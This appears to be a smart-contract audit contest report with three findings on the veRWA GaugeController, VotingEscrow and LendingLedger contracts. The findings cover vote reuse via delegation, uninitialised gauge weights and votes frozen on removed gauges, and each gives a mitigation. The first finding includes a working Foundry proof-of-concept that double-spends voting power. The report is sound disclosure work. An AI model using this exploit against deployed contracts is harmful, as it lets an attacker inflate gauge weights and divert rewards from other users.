veRWA - Team_Rocket's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L211-L278 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L356-L409

Vulnerability details

Impact

The user's voting power can be re-used to vote again, which could lead to a gauge's weight being artificially inflated.

Proof of Concept

VotingEscrow.delegate does not perform any checks to ensure that the user that's delegating their voting power has not already used it up.

Hence, a malicious user can perform the following attack:

1. Create a lock and spend all their voting power on accountA.

2. Create a lock on accountB.

3. Delegate accountA's voting power to accountB.

4. Spend all of accountB's voting power.

In step 4, accountB should be able to spend accountA's voting power again, as well as their own voting power from their own lock.

A PoC test is included below to further illustrate the method of attack. Include and run this test inside src/test/GaugeController.t.sol to run the PoC:

function test_reuseVotingPower() public {
        // Prepare gauge
        vm.prank(gov);
        gc.add_gauge(gauge1);

        uint256 totalWeightBeforeVotes = gc.get_total_weight();
        assertEq(totalWeightBeforeVotes, 0, "Total weight should be 0");
        
        // User1 create lock and vote for gauge
        vm.startPrank(user1);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge1, 10_000); // Allocate all weight
        vm.stopPrank();

        uint256 totalWeightAfterVote1 = gc.get_total_weight();

        // User2 creates lock to circumvent "Delegatee has no lock" error
        vm.prank(user2);
        ve.createLock{value: 1}(1);

        uint256 user2VotingPowerBeforeDelegate = ve.balanceOf(user2);

        // User1 delegates to user2
        vm.prank(user1);
        ve.delegate(user2); // This should revert

        uint256 user2VotingPowerAfterDelegate = ve.balanceOf(user2);

        console.log("User2 voting power before delegate: %s", user2VotingPowerBeforeDelegate);
        console.log("User2 voting power after delegate: %s", user2VotingPowerAfterDelegate);

        // User2 votes for gauge1
        vm.prank(user2);
        gc.vote_for_gauge_weights(gauge1, 1000);

        uint256 totalWeightAfterVote2 = gc.get_total_weight();

        uint256 increasedWeightAfterVote1 = totalWeightAfterVote1 - totalWeightBeforeVotes;
        uint256 increasedWeightAfterVote2 = totalWeightAfterVote2 - totalWeightAfterVote1;

        assertApproxEqRel(increasedWeightAfterVote1, 1 ether, 0.1 ether, "Weight should increase by approx 1 ether");
        assertApproxEqRel(increasedWeightAfterVote2, 1, 0.1 ether, "Weight should increase by approx 1 wei");
        
        // Observe actual increase in weights
        console.log("Increased weight after vote 1: %s", increasedWeightAfterVote1);
        console.log("Increased weight after vote 2: %s", increasedWeightAfterVote2);

    }

Tools Used

Foundry, Manual review

Recommended Mitigation Steps

Include a check to make sure that before delegation, a user has not spent any of their voting power. This requires an external static call to GaugeController.vote_user_power.

Assuming that there's an interface to GaugeController and it's the state variable gc, include this line inside VotingEscrow.delegate:

    require(gc.vote_user_power(msg.sender) == 0, "Already voted");

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L152-L182 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L152-L161 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L92-L93

Vulnerability details

Impact

Users lose out on all rewards from all gauges.

Proof of Concept

When a user claims their rewards in the LendingLedger contract, the relative weight of the lending market's gauge is used to calculate the proportion of rewards received at each claim epoch.

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L152-L182

    function claim(
        address _market,
        uint256 _claimFromTimestamp,
        uint256 _claimUpToTimestamp
    ) external is_valid_epoch(_claimFromTimestamp) is_valid_epoch(_claimUpToTimestamp) {
        ...
            // This ensures that we only set userClaimedEpoch when a claim actually happened
            for (uint256 i = claimStart; i <= claimEnd; i += WEEK) {
                ...
                uint256 marketWeight = gaugeController.gauge_relative_weight_write(_market, i); // Normalized to 1e18
                cantoToSend += (marketWeight * userBalance * ri.amount) / (1e18 * marketBalance); // (marketWeight / 1e18) * (userBalance / marketBalance) * ri.amount;
            }
        ...
    }

The relative weight is calculated using GaugeController._gauge_relative_weight, which depends on the gauge's historic weights (points_weight):

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L152-L161

    function _gauge_relative_weight(address _gauge, uint256 _time) private view returns (uint256) {
        uint256 t = (_time / WEEK) * WEEK;
        uint256 total_weight = points_sum[t].bias;
        if (total_weight > 0) {
            uint256 gauge_weight = points_weight[_gauge][t].bias;
            return (MULTIPLIER * gauge_weight) / total_weight;
        } else {
            return 0;
        }
    }

The points_weight nested mapping is updated using the GaugeController._get_weight function. However, it's only updated if the time of the last update (time_weight[_gauge_addr]) is non-zero, i.e. if it's been updated before.

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L92-L93

    function _get_weight(address _gauge_addr) private returns (uint256) {
        uint256 t = time_weight[_gauge_addr];
        if (t > 0) { // @audit check for time of last update is non-zero
            Point memory pt = points_weight[_gauge_addr][t];
            for (uint256 i; i < 500; ++i) {
                ...
                points_weight[_gauge_addr][t] = pt;
                if (t > block.timestamp) time_weight[_gauge_addr] = t; // @audit update time of last update
            }
            return pt.bias;
        } else {
            return 0;
        }
    }

Since time_weight[_gauge_addr] has to be non-zero to be updated, and it's initialized as 0 by default, we can reason by induction that it's always zero.

Since time_weight[_gauge_addr] is always zero, the points_weight nested mapping is never updated, meaning that the rewards distributed to each gauge is always zero.

Tools Used

Foundry, Manual review

Recommended Mitigation Steps

Initialize the gauge's time weight when the gauge is added by including the following line inside GaugeController.add_gauge:

time_weight[_gauge] = ((block.timestamp + WEEK) / WEEK)

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L129 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L213

Vulnerability details

Impact

A user who has assigned voting power to a gauge that's then been removed, will have that allocated voting power frozen indefinitely. Hence, a user who has allocated 100% of their vote to a gauge will not be able to vote in any other gauges.

Proof of Concept

When a gauge is removed, its isValidGauge value is switched to false.

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L124-L132

    /// @notice Remove a gauge, only callable by governance
    /// @dev Sets the gauge weight to 0
    /// @param _gauge The gauge address
    function remove_gauge(address _gauge) external onlyGovernance {
        require(isValidGauge[_gauge], "Invalid gauge address");
        isValidGauge[_gauge] = false;
        _change_gauge_weight(_gauge, 0);
        emit GaugeRemoved(_gauge);
    }

This value is checked inside vote_for_gauge_weights, such that a user cannot change their vote for a gauge weight if the gauge is no longer valid.

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L211-L241

    function vote_for_gauge_weights(address _gauge_addr, uint256 _user_weight) external {
        require(_user_weight >= 0 && _user_weight <= 10_000, "Invalid user weight");
        require(isValidGauge[_gauge_addr], "Invalid gauge address");
        ...
    }

Due to the check, the user cannot remove weight from a gauge that's been removed.

Tools Used

Manual review

Recommended Mitigation Steps

Edit the line that requires the gauge to be valid, such that if the gauge is invalid, then only a zero weight can be allocated.

    require(isValidGauge[_gauge_addr] || _user_weight == 0, "Invalid gauge address");

Assessed type

DoS